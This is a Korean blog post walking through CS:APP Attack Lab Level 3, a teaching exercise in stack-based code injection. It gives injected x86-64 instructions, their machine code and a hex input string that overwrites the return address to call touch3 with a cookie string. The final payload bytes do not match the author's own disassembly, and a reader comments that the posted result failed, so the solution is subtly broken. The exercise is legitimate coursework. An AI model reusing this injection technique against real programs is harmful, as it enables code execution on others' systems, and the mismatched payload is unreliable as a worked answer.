Attack Lab - Level 3

l_nerd6·2023년 5월 24일
0

[CS:APP] Attack Lab

목록 보기
3/5

Level 3는 다음과 같은 두 함수를 사용한다.


Level 2와 유사하게 val의 값을 cookie에 따라 맞춰야 하는 것인데, 이 과정에서 hexmatch()라는 함수를 사용한다. 통과하기 위해서는 포인터 sval이 가리키는 문자열 *svalval과 일치해야 한다.

작성자의 경우 cookie의 값은 0x76927bbf였으므로, 이를 ASCII code로 바꾼 37 36 39 32 37 62 62 66를 어딘가에 저장해둔 후 그 주소를 sval으로 전달하여 touch3()을 실행시키면 된다. 함수의 첫 번째 인자는 %edi로 전달되므로 %edi에 해당 값을 쓰고, touch3의 주소를 stack pointer의 맨 위에 push한 후 retq한다. 이러한 작업을 실행하기 위해서 다음과 같이 exploit code를 작성해주자.

mov $0x5566fda0, %rdi   # %edi에 cookie 문자열의 주소를 대입
pushq $0x40a194 		# touch3()의 주소
retq

앞서 level 2에서 한 것처럼 gccobjdump를 사용하여 machine code로 바꾼다.

test.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 a0 fd 66 55    mov    $0x5566fda0,%rdi
   7:   68 94 a1 40 00          pushq  $0x40a194
   c:   c3                      retq   

이것을 토대로 입력 문자열을 다음과 같이 설계해준다.

48 c7 c7 98 fd 66 55 68		# exploit code. %edi값 설정하고 touch3의 주소 push
94 1a 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
68 fd 66 55 00 00 00 00 	# %rsp의 값. exploit code(맨 윗줄)의 주소
37 36 39 32 37 62 62 66		# 문자열. 주소는 0x5566fda0
00 

hex2raw를 이용해 raw파일로 만든 후 입력해주면 정답이다.

1개의 댓글

comment-user-thumbnail
약 23시간 전

작성자님이 올린 결과가 Fail인데요....?

답글 달기